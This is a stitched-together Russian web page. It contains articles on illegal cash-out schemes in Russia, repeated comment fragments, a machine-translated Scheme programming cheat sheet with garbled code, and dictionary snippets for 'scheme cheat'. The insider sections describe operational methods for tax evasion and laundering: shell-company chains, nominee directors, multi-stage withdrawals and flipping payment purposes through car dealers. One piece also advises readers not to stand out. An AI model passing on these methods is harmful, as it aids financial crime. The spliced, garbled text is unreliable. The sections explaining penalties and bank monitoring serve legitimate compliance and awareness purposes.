Схемы обнал: По каким хитрым схемам обналичивают деньги и как государство с этим борется

Как законно обналичивать деньги со счета

Страшный сон предпринимателя: он заходит в личный кабинет своего банка, а расчетный счет заморожен и деньгами воспользоваться нельзя. Это проделки финмониторинга, который заметил подозрительный перевод и заблокировал счет. Чтобы такой сон не стал реальностью, нужно пользоваться счетом правильно. Об этом — наш сегодняшний материал.

Что считается незаконным обналичиванием денег

В широком смысле — это превращение денег с расчетного счета в наличку без уплаты налогов, взносов и других платежей. Если выводить прибыль законно, нужно платить налог на дивиденды. Это как минимум. Когда деньги выводятся в качестве зарплаты, налоги и страховые платежи составляют без малого 50%.

Многие не хотят платить эти деньги и придумывают схемы для обналичивания. Они могут быть разными, но суть одна: средства проходят через счета несколько подставных фирм, последняя из которых незаконно их обналичивает через банк. После этого нал возвращается хозяину первого счета. Фирмам однодневкам суммарно падает около 5% всей суммы — это меньше, чем 13-процентный налог на дивиденды и уж тем более, меньше отчислений на заработную плату.

Для перевода денег на подставные фирмы (обычно ИП) нужны причины, хотя бы формальные. Вот и придумываются всевозможные консультации, обучения и тренинги, которые, на самом деле, никто не проводит. Получается схема из нескольких фирм-однодневок, которые оказывают друг другу несуществующие услуги. Когда налоговая начинает распутывать этот клубок, оказывается, что половины контор уже не существует, у других один и тот же директор, след которого теряется в живописных горах Северного Кавказа.

Вообще обналичка порочна по своей сути. Помимо прямого ухода от уплаты налогов, все незаконно выведенные средства пополняют океан черного нала российской экономики. А из него финансируется зарплата в конвертах, многомиллионные взятки чиновникам и другие нехорошие дела. Теневая экономика очень сильно кренит белую.

Теперь вы понимаете: незаконное обналичивание — это зло. За такие выкрутасы предусмотрена уголовная ответственность. Поэтому вам, как честному бизнесмену, нужно делать две вещи: правильно обналичивать деньги и не совершать подозрительных, с точки зрения Центрального банка, операций.

Как законно выводить деньги со счета

Не будем отвлекаться на баловство вроде оплаты командировок и других представительских расходов: много денег здесь не выведешь. Законно получить деньги учредитель может тремя способами. Во всех случаях придется поделиться с государством.

Способ первый — зарплата

Этот путь обойдется дороже всех остальных. Суть его в том, что вы устраиваетесь на работу в свою же компанию по трудовому договору. Должность совершенно не важна — можете быть как директором, так и уборщицей. Ну, или грузчиком. Про уборщицу, конечно, шутка, но если налоговики увидят, что оклад менеджера по клинингу в 3 раза выше, чем у коммерческого директора, к вам заглянут в гости. То же самое относится и к мертвым душам: работникам, которые числятся только формально, а на работе не появлялись ни разу.

Итак, если вы наняли себя же в качестве директора, вы будете получать зарплату. С нее нужно платить налоги и взносы:

• НДФЛ в размере 13%;
• страховые и пенсионные взносы в размере 30-35%.

Грубо говоря, половину той суммы, которую вы получите в виде зарплаты, нужно отдать государству. Из этих денег формируется ваша (и не только ваша) пенсия, платится зарплата врачам, учителям и полицейским. Да, отдать в фонды придется немало, но такой подход — основа экономики любого государства. Налоги нужно платить и нечего тут рассуждать.

Хоть этот путь и дорого обойдется, у него есть одно ультрадостоинство. Зарплату себе можно платить при любых финансовых показателях работы компании. Даже если вы несете годовые или квартальные убытки, зарплату заплатить обязаны. И себе, и всем сотрудникам — иначе будут санкции со стороны трудовой инспекции, вплоть до уголовной ответственности.

Способ второй — дивиденды

Формально это первый способ распределения прибыли между учредителями. Давайте пробежимся по теории ООО.

Два человека скинулись на уставной капитал и создали юридическое лицо. Если сильно утрировать, теперь их не 2 человека, а 3: Вася, Петя и ООО “Кот и Крот”. И имущество третьего не принадлежит ни Васе, ни Пете. Это вам не ИП, где все деньги и основные средства — личная собственность индивидуального предпринимателя.

Вся хозяйственная и финансовая деятельность отчуждается от конкретных имен и фамилий и является собственностью ООО. В том числе, как вы догадались, прибыль. Для того, чтобы ее забрать, юрлицо должно заплатить налоги на учредителей — физических лиц.

Размер налога бывает 13 или 15 процентов от суммы полученного дохода. 13% платят резиденты РФ, 15% — нерезиденты:

• резидент РФ — гражданин любой страны, который за последние 12 месяцев находился на территории Российской федерации не меньше 183 календарных дней. В расчет не берутся дни, которые резидент провел за границей по уважительным причинам;
• нерезиденты — все остальные, в том числе и граждане РФ, которые находились в стране менее 183 календарных дней.

* Календарные дни считаются суммарно за 12 месяцев. Не обязательно это должно быть 183 дня подряд.

Вроде бы красота. Зачем мне платить ползарплаты государству, если можно отдать всего-то 13 процентов в виде налога на прибыль? Все правильно, незачем. Загвоздка одна: эта самая прибыль должны быть. Причем подтвержденная бухгалтерскими документами. После этого нужно провести собрание учредителей и принять решение о распределении прибыли. Решение оформляется протоколом.

Если по результатам финансовой деятельности прибыли нет, то и дивиденды платить не с чего. Если прибыль есть, но есть долги перед государством — дивиденды также платить нельзя до тех пор, пока не рассчитаетесь с соответствующими фондами. Логика здесь простая: сначала расплатитесь с государством, а уж только после этого делите прибыль.

Еще один минус дивидендов — они не предусматривают пенсионных и страховых отчислений. То есть, получив на руки всю сумму после уплаты НДФЛ вы должны сами позаботиться о пенсии и медицинской страховке. То есть отнести часть теперь уже личных денег в пенсионный фонд и оформить полис медицинского страхования. В итоге сумма дивидендов станет еще меньше. Поэтому 13 процентов налога на прибыль — это только вершина айсберга. На самом деле заплатить придется больше.

Да и еще одно: дивиденды можно выплачивать не чаще, чем 1 раз в квартал.

Способ третий — устроиться к самому себе на работу в качестве ИП

Вообще этот способ уже находится на грани ухода от налогов. Суть его в следующем: директор или его заместители работают не по трудовому договору, а по договору оказания услуг. То есть, некий ИП оказывает компании услуги управления, но при этом не состоит в ее штате — эдакая разновидность аутсорсинга.

Такие вещи очень не любит налоговая — вас сразу заподозрят в создании схемы обналичивания средств и уходе от налогов. Особенно, если при небольшой прибыли огромные средства уходят на оплату услуг наемного директора или консультанта.

Налоговики будут пытаться доказать, что сотрудничество имеет признаки трудовых отношений, а не гражданско-правовых. Если им это удастся, обвинений в махинациях не избежать.

Тем не менее, некоторым предпринимателям удается работать по такой схеме. Если вы так делаете — главное сильно не отсвечивать. Платить умеренную зарплату и оформить на должность не одного из учредителей, а третье лицо.

Как избежать подозрений банка в незаконном выводе средств?

Есть понятие финансового мониторинга. Это значит, что банки постоянно отслеживают все безналичные переводы на предмет подозрительных операций. Что значит сомнительных? Вот несколько примеров:

• нет подробного описания безналичного перевода контрагенту. Как не надо: “Оплата услуг”. Правильно: “Оплата товара по договору поставки № 24/НЕ 23, от 24 июля 2008 года, в том числе НДС 367 руб 85 копеек”;
• вы переводите деньги неблагонадежным контрагентам. Есть несколько признаков фирм-однодневок: юридический адрес массовой регистрации, подставной директор, работающий еще в десятке таких юрлиц и так далее. Если вы переводите им деньги, банк может посчитать вас звеном цепочки по выводу денег;
• снятие ИП крупных сумм наличными. Если на следующий день после поступления средств индивидуальный предприниматель снимает все наличными, это может вызвать подозрение банка. Когда такое происходит постоянно — такого ИП сочтут последним звеном цепочки незаконного обнала;
• “левые” переводы, не связанные с вашей деятельностью. Допустим, у вас интернет-магазин интимных товаров. Вдруг, ни с того ни с сего вам на счет переводят деньги за оказание строительных услуг. Это не то что подозрительно, это просто приговор. Ждите блокировку счета.

Сомнительные переводы — не единственная причина блокировки счета по подозрению в обналичивании денежных средств.

Как происходит блокировка счета

Страшный сон предпринимателя, с которого мы начали статью, не наступает просто так. Правильный банк уведомит вас о возможной блокировке и пригласят на беседу или потребуют документы о переводе. Есть банки-мошенники, которые блокируют счет без предупреждения. Восстановить такой счет нельзя, можно только перевести с него средства в другой банк, заплатив комиссию. За счет этой комиссии и живут банки-мошенники.

Итак, проверка переводов происходит по следующей схеме:

1. Компьютерная программа банка выявляет подозрительную операцию по счету и сообщает об этом специалисту.
2. Сотрудник банка изучает перевод и делает выводы. Если он и правда вызывает сомнения, специалист связывается с хозяином счета.
3. Вас просят обосновать перевод и предоставить документы. Это могут быть договора поставки, договора аренды помещения и даже фотографии товара или вашего офиса. Банк должен убедиться в том, что вы реально существуете и ведете хозяйственную деятельность.
4. Если все в порядке и документы предоставлены в срок, банк от вас отстанет. В худшем случае погрозят пальчиком и попросят внимательнее относиться к переводам.
5. Если вы не отреагировали на запрос банка или предоставили не все документы, счет заблокируют до выяснения обстоятельств. Лучше до этого не доводить и показать все бумаги по запросу банка. Никуда ехать или идти не обязательно — будет достаточно сканов или простых фото, сделанных на смартфон.

Банки-мошенники сделают все, чтобы все-таки заблокировать ваш счет. Для подтверждения перевода не запросят, разве что, марку машины генерального директора. Некоторые предприниматели рассказывали, как сутками сканировали все счета-фактуры от контрагентов за последние несколько лет доказывая, что они не корабли пустыни. А счет в итоге все равно блокировали.

Кстати, если не хотите нарваться на мошеннический банк, перед открытием расчетного счета почитайте отзывы на Банки.ру. Вбейте в строку поиска отзовика название вашего банка и посмотрите, что пишут про него предприниматели. Особое внимание уделите так называемым “Онлайн-банкам”, у которых нет ни офисов, ни банкоматов. Они подводят чаще настоящих, с окошечками и табло.

Мы надеемся, что наша статья поможет вам сделать так, чтобы страшный сон предпринимателя никогда не стал реальностью. Для этого нужно не так много:

• выводить прибыль через дивиденды и платить налоги;
• внимательно следить за безналичными переводами;
• проверять партнеров и контрагентов;
• выбирать правильный банк для сотрудничества;
• не открывать счета у банков с плохой репутацией.

Желаем вам удачи в бизнесе и продвижении!

схемы применения директоров и фирм

Предыдущие части:

1. Введение в теневую экономику
2. Как становятся номинальными директорами
3. Как контролируют номинальных директоров
4. Кидки как норма жизни

Мы продолжаем цикл статей, посвященных теневой экономике, серым и черным схемам, движению неучтенной наличности, а также рискам и последствиям, с ними связанными.

Рассказать о работе обнальных контор для нас согласился непосредственно участник рынка, отошедший от дел после деликатного появления ОБЭПа. 

Я уже рассказал в общих чертах о том, откуда берутся номиналы и как их контролируют. Но пока обошел стороной вопрос, куда их собственно применяют. Потому что сфер приложения довольно много. В зависимости от адекватности и чистоты директора, его используют в белую или в черную. Второй вариант более распространен, оттого и репутация у «професии» не самая радужная. Но и «белых» директоров тоже немало. Они особенно ценны в наше время, потому что могут существенно продлить жизнь фирме и использовать более сложные комбинации. Давайте обо всем по порядку.

Дикий обнал

Это когда применяются очевидные, легко доказуемые схематозы, где видны точки входа и выхода, а прикрытия практически нет. Клиент переводит деньги на принимающую прокладку (как правило серую), она раскидывает суммы по своим «помойкам», те частично снимают через корпоративные карты, а остальное отправляют на ИП и там уже кэш выводится на дебетовые. Это одна из самых примитивных и небезопасных схем, для нормальной работы которой человеческий материал расходуется пачками, потому что одноразовый. Бывает, что и цепочек никаких нет, сразу перевел/снял. Тут нужна жертва, на которую вешается НДС — последняя принимающая фирма в цепочке. Некоторые клепают для этих целей ИПшников на ОСНО, подставляя не ООО, а физлица под грядущую раздачу от налоговой и приставов. В идеале, последние звенья нужно банкротить, но в реальности мало кто этим занимается, просто оставляют неуплаченный налог (что чревато для всей цепочки, кстати).

Это и есть использование в черную. Номинал открывает как можно больше счетов и карт, которые забиваются в сжатые сроки и спешно обналичиваются, пока все не переблокируют. Наглость, скорость и объемы, вот что позволяет зарабатывать. Налоги иногда оплачивают по минималке авансовыми платежами, чтобы продлить счету жизнь. Но тут как повезет. В последнее время сомнительные «грядки» блокируются очень оперативно и тренд в обнале сейчас не на обеление, а наоборот на увеличение грязи и кидков.

Серый обнал

Это попытки балансировать между откровенной чернухой и грамотной работой. Такие схемы отличаются от описанных выше увеличенной длиной цепочек, более продуманной стыковкой по ОКВЭДам и обоснованиям переводов, увеличенной налоговой нагрузкой. Деньгам дают отлеживаться, оплачивают с безнала услуги, имитирующие хозяйственную деятельность (аренда, связь), для вывода пользуются не только картами, но иногда вкладами, займами, векселями и прочими усложнениями. Количество переводов и прослоек позволяет запутывать банки и налоговую, съем денег осуществляется не на первой-второй, а начиная с пятой-седьмой ступени. Для поддержания таких структур, людей нужно тоже много, но меняются они реже и дольше функционируют.

Номиналов и фирмы стараются использовать не однобоко, вешая на них реальные заказы и тендеры, например. Оформляют офисы и корпоративную связь, вовлекают в работу и нагружают мелкими поручениями. Какие-то фирмы выращивают под получение лицензий для последующей продажи, или готовят к прохождению кредитного скоринга, гоняя оборотку. Обычно вокруг серого обнала выстраивается своя инфраструктура сопровождающих бизнесов, юристов, бухгалтеров и прочих аудиторов.

Белый обнал

Это идеальные с т.з. чистоты процесса варианты, в которых не нужны особо замороченные цепочки и директора могут работать столько, сколько понадобится. Но в одну схему их не уложить, потому что все они индивидуальны, зависят от сферы деятельности и множества рабочих нюансов. Самое простое, когда участвуют две реальные, действующие фирмы с разными потребностями. У одной много безнала (b2b услуги, производство), у другой налички (такси, мастерские, сети маленьких магазинов). Первой нужен кэш, чтоб выдавать зарплаты или выводить вместо дивидендов. А второй нужен безнал, чтоб оплачивать аренду и рассчитываться с подрядчиками. Вместо инкассации нала, она отдает его первой фирме, которая под благовидным предлогом перечисляет безнал плюс процент. Все довольны.

Но это условный вариант, для чистой работы создаются параллельные ветки движения денег, с отдельными юрлицами, которые встраиваются в основные бизнес-процессы. Такие фирмы работают в полном соответствии с законом, директора в них грамотны и натренированы, доказать фиктивность операций довольно проблематично. И нет точек вывода наличности, которые главным образом и отслеживают надзорные структуры.

Отдельной строкой можно упомянуть фирмы-прокладки, которые используются не с целью вывода и налоговой оптимизации, а для того чтобы сохранить анонимность. Такое тоже встречается, безусловно. Или для оформления сделок тем, у кого имеются ограничения (госслужба, судимости). Эти легенды обычно и рассказывают директорам при вербовке, на них легче соглашаются. Но реальный процент таких заказов ничтожно мал, все-таки основная потребность рынка — это обнал и ломка НДС.

что такое «обнал», как его выявляют и как борются

Да это все легкоснижение уровня бедности в два раза по сравн…

Да, мреф заработал в том году на комиссиях около сотни млрд….

Не забывайте еще, что мы входим-входим и пока … не можем в…

Пошто? Параметры определены — войдите в медитацию и представ…

А у нас в квартире газ, а у вас — автобус. Поздравляю!

А Учетная политика покупателя никак не касается учетной поли…

Проблема в нарушении локального нормативного акта «Уче…

По слухам, цены на наших югах подскочили так, что эти от 5 д…

У меня на последних 2-х работах 3 многодетных папаши, с з/п …

Так в СЗВ-ТД не указываются гражданско-правовые договоры….

Ну вы попали)))) Приходование по Таможенной декларации с НД…

Почему в ежемесячном? В ежедневном! Уволил/принял человека …

В многодетных семьях женщины более фертильные, а в малодетны…

Давно пора! 🙂

Подписался ):

В нашем случае (о естественном отборе речь) сильнейшие — эт…

так в связи с пандемией у СЗВ-М неожиданно появилась новая ф…

Facepalmэто из разряда: вопрос -А почему ручка синяя?ответ -…

Я никак не собираюсь. А если если просто порассуждать, то по…

О популярных схемах обналививания ЦБ выпускает даже методичк…

Именно только этими услугами нас заставили пользоваться в пе…

Ну и к чему нужна эта статья на сайте? Чтобы товарищ майор п…

Это не важно. В природе так не работает. Как Вы собираетесь …

Согласно п. 2 ст. 93.1 НК РФ, если вне рамок проведения нал…

это жадность руководителя, а не «людская». Бухи же…

«Богатые», которые своим горбом что-то заработали?…

При упоминании Актиона трясет

На детей 16-18 лет денег нет. На компенсацию поездок на юга …

а вот с этого места поподробнее ) самый актуальный вопрос в …

При большой стоимости недвижимости, этому ИП выгоднее будет …

В чем проблема предоставить счет-фактуру?

Где вы увидели «про пенсии»?

Это Вы к тому, что у Вас есть желание, что бы размножались т…

А можете прислать ИНН Вашей организации, поможем Вам, если е…

А по статистике 80 % населения живут в собственном жилье….

Надежда, спасибо Вам большое!

За какие новые схемы с обналичкой взялись в финмониторинге

Интересной информацией поделились на канале Баблишко.

После того, как ЦБ ввёл антиотмывочные меры, существенно ограничившие добычу cash’а собственно в банках (хотя и сейчас остались рабочие схемы), большинство обнальщиков/оптимизаторов принялись искать, как говорят в финмоне, «альтернативные инструменты получения наличных денежных средств».

Другими словами, если раньше большинство «финансистов» просто снимали нужные суммы в банкоматах, то теперь наличку добывают на рынках (Садовод & Со), в розничных магазинах, автосалонах и т.д.

Возьмем к примеру автодилеров. Большинство из них не хотят принимать оплату картой, ссылаясь на комиссию за эквайринг и просят наличку (даже Рольф грешит этим). Дальше нал в нарушение кучи правил не инкассируется, а продаётся заказчику денег (такой вот побочный бизнес). Соответственно, заказчик налички должен перевести деньги по безналу в автосалон.

Вот тут и начинаются «танцы с бубном».

Например, наличка нужна строительной компании. Сама компания не сможет объяснить деловую цель покупки десяти легковушек, поэтому в схему перевода денег от компании-заказчика в автосалон встраивают «техническую компанию».

Идём дальше. Заказчик-строитель отправляет безнал на «техничку» с назначением платежа «за стройматериалы», а техничка уже отправляет безнал в автосалон с назначением «покупка авто».

Получается, на техничке деньги зашли «за стройку», а вышли «за авто». Это и есть «переворот назначения платежа».

Так вот, на днях Департамент финансового мониторинга и валютного контроля Банка России разослал интересное письмецо (и, конечно, оно у нас есть), в котором расписал данную схему и обязал прикрыть эту лавочку. Даже хорошие конкретные мероприятия спланировали, которые ещё сильнее осложнят жизнь обнальщикам.

Но как всегда ребята из ЦБ недоработали и оставили (специально?) кучу лазеек для переворота, нужно лишь знать определённые принципы. Причём, зная эти принципы, переворачивать назначение по-прежнему можно даже на белой компании, не говоря уже про технички.

P.S. А письмецо это в массы слили сами ребята из финмона. Цель очевидна — показать обнальщикам, что в ЦБ знают схемы. Хорошая попытка, но пока незачёт.

Источник: @bablishkochannel

Четыре схемы обналичивания денег через ИП и ООО. Почему не взлетел

Да это все легкоснижение уровня бедности в два раза по сравн…

Да, мреф заработал в том году на комиссиях около сотни млрд….

Не забывайте еще, что мы входим-входим и пока … не можем в…

Пошто? Параметры определены — войдите в медитацию и представ…

А у нас в квартире газ, а у вас — автобус. Поздравляю!

А Учетная политика покупателя никак не касается учетной поли…

Проблема в нарушении локального нормативного акта «Уче…

По слухам, цены на наших югах подскочили так, что эти от 5 д…

У меня на последних 2-х работах 3 многодетных папаши, с з/п …

Так в СЗВ-ТД не указываются гражданско-правовые договоры….

Ну вы попали)))) Приходование по Таможенной декларации с НД…

Почему в ежемесячном? В ежедневном! Уволил/принял человека …

В многодетных семьях женщины более фертильные, а в малодетны…

Давно пора! 🙂

Подписался ):

В нашем случае (о естественном отборе речь) сильнейшие — эт…

так в связи с пандемией у СЗВ-М неожиданно появилась новая ф…

Facepalmэто из разряда: вопрос -А почему ручка синяя?ответ -…

Я никак не собираюсь. А если если просто порассуждать, то по…

О популярных схемах обналививания ЦБ выпускает даже методичк…

Именно только этими услугами нас заставили пользоваться в пе…

Ну и к чему нужна эта статья на сайте? Чтобы товарищ майор п…

Это не важно. В природе так не работает. Как Вы собираетесь …

Согласно п. 2 ст. 93.1 НК РФ, если вне рамок проведения нал…

это жадность руководителя, а не «людская». Бухи же…

«Богатые», которые своим горбом что-то заработали?…

При упоминании Актиона трясет

На детей 16-18 лет денег нет. На компенсацию поездок на юга …

а вот с этого места поподробнее ) самый актуальный вопрос в …

При большой стоимости недвижимости, этому ИП выгоднее будет …

В чем проблема предоставить счет-фактуру?

Где вы увидели «про пенсии»?

Это Вы к тому, что у Вас есть желание, что бы размножались т…

А можете прислать ИНН Вашей организации, поможем Вам, если е…

А по статистике 80 % населения живут в собственном жилье….

Надежда, спасибо Вам большое!

Схемы незаконного обналичивания денежных средств: чем грозит

Всем привет! В сегодняшнем обзоре мы расскажем про схемы незаконного обналичивания денежных средств и предусмотренную ответственность за такие действия в законодательстве страны.

Само по себе обналичивание денег не является незаконной процедурой.

Наличные нужны предпринимателю или фирме, чтобы оплачивать работу подрядчика, покупку стройматериалов, комплектующих и т.п.

Под действие 198-й статьи Уголовного Кодекса обналичка попадает только тогда, когда она проводится с целью уклонения от уплаты налогов.

Вывод денег с расчетных счетов не запрещен полностью, однако органы контроля следят за законностью проведения таких сделок.

При незаконном обороте денег распространяется коррупция, разворовывается бюджет, лица, получавшие зарплату «в конвертах», выходят на мизерную пенсию.

Для обналички используют различные незаконные схемы.

Позже индивидуальные предприниматели и руководители компаний оправдывают свои действия высокими налогами и заботой о сотрудниках (желанием выплатить вовремя зарплату).

В качестве оправдания используют доводы о необходимости бесперебойного обеспечения рабочего процесса производственными материалами и существующих при этом бюрократических проволочек.

Существующие схемы обналичивания

При незаконных схемах вывод денег выглядит, на первый взгляд, вполне легально.

С физическим лицом или компанией подписываются документы на проведение каких-либо работ или оказание определенных услуг.

Средства переводятся на расчетный счет подрядчика, а затем обналичиваются. Незаконность сделки заключается в том, что работы и услуги – фиктивные. По факту не производится и не оказывается.

Благодаря этой схеме компания занижает размер прибыли, а расходы увеличиваются на оплату фиктивных услуг. При этом существенно снижается размер налогов.

Второй участник сделки получает свой процент при обналичивании. Эта сумма в разы меньше, чем размер налогов, которые выплатил бы первый участник сделки при законном ведении бизнеса.

При этом происходит нарушение законодательства (уклонение от уплаты налогов). В некоторых схемах используют фальшивые документы.

Способов обналичивания денежных средств придумано более сотни. Все они давно раскрыты налоговиками.

Классические способы незаконной обналички:

• с помощью подставных лиц;
• с привлечением сотрудников банка;
• открытие фирм-однодневок;
• использование краденных или утерянных документов третьих лиц;
• незаконное обналичивание материнского капитала.

Вывод средств с использованием ИП

В этой схеме используют индивидуальных предпринимателей, которые являются физическими лицами.

Незаконная обналичка проводится следующим способом. Компания и ИП заключают договор на проведение работ или оказание услуг.

Выбирают, как правило, такие работы или услуги, которые потом отследить невозможно:

• настройка оборудования;
• перевоз грузов;
• информационные услуги, обучение и пр.

Если проходит определенное время, доказать фиктивность договора сложно, если только не найдутся свидетели, которые смогут фактами подтвердить незаконность сделки.

Обналичивать деньги через ИП компаниям выгодно. Предприниматель свободно распоряжается деньгами, находящимися на его счете и обналичивание средств для него вполне законно.

Сняв деньги с расчетного счета, ИП оставляет себе свой процент, а остальную сумму передает руководителю фирмы.

Если будет доказан факт мошенничества, к ответственности привлекут не только руководителя организации, уклоняющейся от выплаты налогов, но и предпринимателя, участвовавшего в этой сделке.

Обналичка через компанию

Обналичку денег компании проводят также без привлечения к этому посредников.

Способы вывода средств при этом выглядят сложнее, однако при удачном исходе сделки все деньги попадают в руки руководителя.

Незаконную обналичку денежных средств осуществляют следующим образом:

• нарочно завышают расходы;
• лицо, руководящее фирмой, оформляет банковскую ссуду на длительный период;
• начисляют дивиденды;
• используют расчетные карточки;
• привлекают подотчетных лиц

Валовые затраты завышают путем покупки безналичным способом какой- либо расходной продукции с последующей ее реализацией за наличные.

При выявлении такого факта незаконного обналичивания, руководство компании ждут крупные штрафы.

При оформлении долгосрочного займа руководителем ООО деньги из компании не выводятся, поскольку нужды в этом нет.

Сам заем выдается наличными, под мизерный процент или вообще под 0%, при этом уменьшается размер налогов. Получение кредита из средств компании ее руководителем не запрещено законом.

Деньги помещаются на счет в банке, и не облагаются налогом, поскольку не считаются прибылью.

Как только заканчивается срок кредитования, средства подлежат возврату, но до этого времени они успевают обесцениться либо компания становится банкротом.

Начислять дивиденды руководству и сотрудникам компании законом не запрещено.

Этот способ используют часто, поскольку сумма наличных при выводе дивидендов превышает сумму прибыли компании после выплаты налогов.

Подотчетных сотрудников используют как заемщиков. Им компания выдает кредит наличными.

Если подотчетное лицо не возвращает вовремя кредитные деньги через кассу организации, то с его доходов удерживается налог.

Чтобы этого не происходило, заемщику выдаю новый кредит, который гасит старый. Так может продолжаться до бесконечности, и нарушений закона здесь нет.

Обналичивание денег через банковские карты используется сейчас редко, однако этот способ еще существует.

Приобретаются действительные банковские карты или через своего человека в банке оформляются карточки на людей, которые умерли.

Смысл этой махинации заключен в выводе денег небольшими суммами. Банковские организации сообщают в Росфинмониторинг об операциях, превышающих сумму 600 тыс. ₽.

Чтобы вывод крупной суммы не был заметен, регистрируется фиктивная фирма с раздутым штатом работников, которых на самом деле нет. Им якобы выплачивается зарплата.

На самом деле происходит обналичивание денег. При том выводятся крупные суммы. Иногда для вывода денег по этой же схеме используют реального предпринимателя.

Ответственность за обналичку

Из-за незаконной обналички бюджет недополучает средства. Ответственность за обналичивание денег в 2020 году предусмотрена статьями уголовного законодательства.

Если сумма, которую укрывает от налогов подсудимый, превышает 10% общего размера налогов, могут быть применены следующие меры наказания:

• штраф от 100 тыс. до 300 тыс. ₽;
• арест на 6 мес.;
• принудительные работы до 12 мес.;
• тюремное заключение на год.

При превышении 20% суммы налогов, размер штрафа достигает полумиллиона, а срок заключения составит 3 года.

Предпринимателей, совершивших обналичку в первый раз, и уплативших налоги и штрафы в полном объеме, согласно закону, освобождают от ответственности.

На сегодня это вся информация.

Поделитесь статьей с друзьями с помощью кнопок социальных сетей, выразите свое мнение в комментариях, оцените качество контента. Подпишитесь на обновления и следите за новостями.

До скорой встречи, друзья!

CSE 341 — Схема Шпаргалки

CSE 341 — Схема Шпаргалка

CSE 341 — Схема Шпаргалка

Схема — необычайно простой язык. Он реализует только несколько фундаментальных концепций , которые могут быть объединены в интересные и мощные способы создания сложных систем.

Цикл Read-Eval-Print

Это сердце интерпретатора схемы. Оценщик реализует следующий алгоритм: Eval (expr: символическое выражение)

1. Экспр атом? Если это самооценка, просто верните его.В противном случае (это имя), вернуть его значение из текущей среды
2. Остальное, это выражение список? Если первый элемент является специальным Форма, сделать правило для этой формы. В противном случае (это должна быть функция), оценить первый элемент списка и применить его к значениям остальная часть списка.

Специальные формы: определить, процитировать, лямбда, cond, let / let *

;; Определить используется для определения новых имен.Имена могут относиться к любому значению
;; (которые могут быть данными или функцией)
(определить х 10)
(определить двойной (лямбда (х) (* х 2)))

;; Цитата используется для «цитирования» литеральных данных (символов или списков)
(цитата привет) => привет
(цитата (1 2 3)) => (1 2 3)
'(1 2 foo bar) => (1 2 foo bar); отметка 'является синтаксическим сахаром

;; Лямбда используется для генерации новых функций
(лямбда (х) (+ х 10); анонимная функция
(определить плюс 10 (лямбда (х) (+ х 10))); мы назвали функцию сейчас

;; Конд является общим условным
(конд
  ((eq? 'foo' bar) 'привет)
  ((= 10 20) до свидания)
  (#t 'извините)) => извините

;; Let используется для объявления / использования временных переменных
(позволять
  ((х 10)
   (у 20)
  (+ х у))
 

Встроенные типы и функции

Схема поддерживает числа (целые числа, рациональные числа, числа с плавающей запятой), символы, строки, логические значения, символы, списки и векторы.Ниже приведены некоторые примеры встроенные функции, которые мы можем использовать в следующих типах:

;; арифметика: +, -, *, /
;; реляционный:,> =, =
(+ 1 2) => 3
(= 1 2) => #f; использовать = для чисел

;; Равенство и идентичность: eq? и равно?
(eq? 'hello' до свидания) => #f; э? это проверка личности
(eq? 'hello' hello) => #t; два значения равны, если они одинаковы
(eq? '(1 2)' (1 2)) => #f; объект...
(определить foo '(1 2))
(определить панель foo)
(eq? foo bar) => #t
(равно? foo bar) => #t; два значения равны, если они выглядят одинаково
(равно? foo '(1 2)) => #t

;; Списки: минусы, автомобиль и CDR
;; Создание новых списков, с помощью цитат, минусов или списков
(определить foo '(1 2 3))
(определить бар (минусы 1 (минусы 2 (минусы 3 ()))))
(определить базу (список 1 2 3))

;; Обрабатывать списки с помощью car, cdr и null?
(null? '(1 2)) => #f
(null? ()) => #t
(автомобиль '(1 2)) => 1
(cdr '(1 2)) => (2)
 

Итерация через рекурсию

;; Функция возведения в степень x ^ n
(определить пример
  (лямбда (х н)
    (cond ((= n 0) 1)
(#t (* x (кроме x (- n 1)))))))

;; Длина списка
(определить длину
  (лямбда-а-лист)
    (cond ((null? a-list) 0)
(#t (+ 1 (длина (cdr a-list)))))))
 

Функции высшего порядка

Функции являются первоклассными в Scheme, то есть мы можем передать их как аргументы для других функций.

;; принимает две функции и аргумент, возвращает (f (g x))
(определить составить
  (лямбда (ф г х)
    (f (g x))))

(составить четное? (лямбда (x) (- x 1)) 10) => #f

;; берет функцию и применяет ее к каждому элементу списка
(определить карту
  (лямбда (ф-лист)
    (cond ((null? a-list) a-list)
(#t (cons (f (автомобильный список)) (map f (cdr список)))))))

(четная карта? '(1 2 3 4)) => (#f #t #f #t)
 

---

Дуган @ сСт.washington.edu (Последнее обновление: 01/10/02 )

,Схема обмана

— определение — английский язык

Примеры предложений с «схемой обмана», память переводов

Europarl8 Жаль, что у Совета нет другой, столь же эффективной магической формулы для предотвращения коррупции, регулярно совершаемой одним или двумя еврокомиссарами, которые обманывают, схема и скрипка безнаказанно. OpenSubtitles2018.v3 Но она — обманщик, обманщик, интриги. OpenSubtitles2018.v3 Как насчет того факта, что она лживая, изменяющая, интригиющая, лживая сука…? OpenSubtitles2018.v3 Видите ли, Томми Гэвин, которого я знал, был лживым, обманщиком, интриганкой, дракой, преследующим юбку сукиным сыном. открывает субтитры2 Ты врешь, ты обманешь, у тебя схема! opensubtitles2Вы лжете, обманываете, используете схему OpenSubtitles2018.v3Вы обманывали меня своими поцелуями, обманывали и замышляли. OpenSubtitles2018.v3 Но сначала он должен был разобраться со своей интригой-обманщицей. scielo-abstractВ этой статье мы предлагаем схему VC для предотвращения мошенничества, в которой общие ресурсы можно идентифицировать и аутентифицировать, используя схему EVC и методы создания водяных знаков. OpenSubtitles2018.v3 Лживый, подонок мужа и интрига, изменяющая жена. opensubtitles2Вы обманули меня своими поцелуями, вы обманули и вынесли схему scielo-titleA Схема предотвращения мошенничества с использованием методов создания водяных знаков OpenSubtitles2018.v3 Это грязно, интриги, обман, фальсификация, ложь, эгоистичный, самоуничижительный, гедонский … opensubtitles2 Это грязный, интриги, обман, фальсификация, ложь, эгоистичный, баловство, гедонизм, сын OpenSubtitles2018.Идите вперед со своей схемой, чтобы обмануть создателя меча. OpenSubtitles2018.v3 Схема, чтобы обмануть меня из моего спасения. Обычный обход данных Нарушение этих правил, в частности, путем обмана или мошенничества с целью обмана или использования преимуществ инвесторов, обычно называют мошенничеством с ценными бумагами. WikiMatrixDeFalco утверждал, что схема «брата-близнеца» обманывает читателей, поскольку, кроме одного пузыря мысли, не было и намека на то, что у Родерика даже есть брат, а тем более тот, который мог бы служить ему двойником. MIZAN, но я всегда рад свалить подобные схемы и обманывать человека своим преднамеренным презрением. WikiMatrix Хотя Фрэнк самодовольно говорит о политических и социальных проблемах, он тратит большую часть своего времени на разработку схем, чтобы обмануть систему и использовать преимущества других, чтобы зарабатывать деньги. jw2019Но израильтяне сделали это с Иеговой — как будто он не мог видеть их интриги и 